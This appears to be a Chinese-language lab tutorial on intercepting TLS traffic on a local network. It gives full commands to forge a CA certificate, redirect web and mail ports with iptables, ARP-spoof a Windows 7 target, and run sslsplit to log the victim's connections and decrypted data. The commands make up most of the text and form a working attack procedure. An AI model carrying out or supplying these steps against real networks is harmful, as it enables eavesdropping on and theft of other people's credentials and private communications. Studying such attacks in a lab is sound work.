准备
一台kali ip 192.168.43.25
一台win7 ip 192.168.43.161
SSLsplit是用于对 SSL / TLS 加密的网络连接进行中间人攻击的工具。用于网络取证,应用程序安全性分析和渗透测试中。SSLsplit是纯粹的透明代理,不能充当浏览器中配置的HTTP或SOCKS代理。SSLsplit支持SSL 3.0,TLS 1.0,TLS 1.1和TLS 1.2,以及可选的SSL 2.0。
先伪造证书
利用openssl生成证书私钥 |
openssl genrsa -out ca.key 2048 |
利用私钥签名生成证书 |
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt |
可以看到在主目录下生产了密钥和证书。
之后开启路由转发
sysctl -w net.ipv4.ip_forward=1
或
echo 1 > /proc/sys/net/ipv4/ip_forward
都可以
开启是为了把拦截到的流量发给网关,这样目标机才可以上网,不开的话可以达到断网的效果。
设置iptables端口转发规则
- iptables -t nat -F
- 清空当前表规则
- -t:指定表;-A PERROUTING:路由前生效;-p:指定协议;–dport:接受流量的端口;-j:指定处理方法(REDIRECT重定向);–to-ports:转发端口
- iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 【#HTTP】
- iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 【#HTTPS】
- iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 【#MSA】
- iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 【#SMTPS】
- iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 【#IMAPS】
- iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 【#POP3S】
- iptables -t nat -L #显示所有规则
然后开启arpspoof。拦截目标机流量,先看看目标机网关
arpspoof -i eth0 -t 目标ip -r 目标网关;-i(网卡,可以用ip a查看,有ip那个才是),-t(欺骗目标),-r(目标网关)
启动SSLsplit进行攻击
创建目录
mkdir -p test/logdir
侦听设定的端口
sslsplit -D -l connect.log -j /home/kali/test -S /home/kali/test/logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
伪造证书后,目标机访问https的网站会出现警告
之后在目标机点击继续访问,就劫持成功了,可以在connect.log查看访问信息,在test/logdir可查看传输数据
可以看见,成功进行arp欺骗,并且用sslsplit劫持访问信息和传输数据。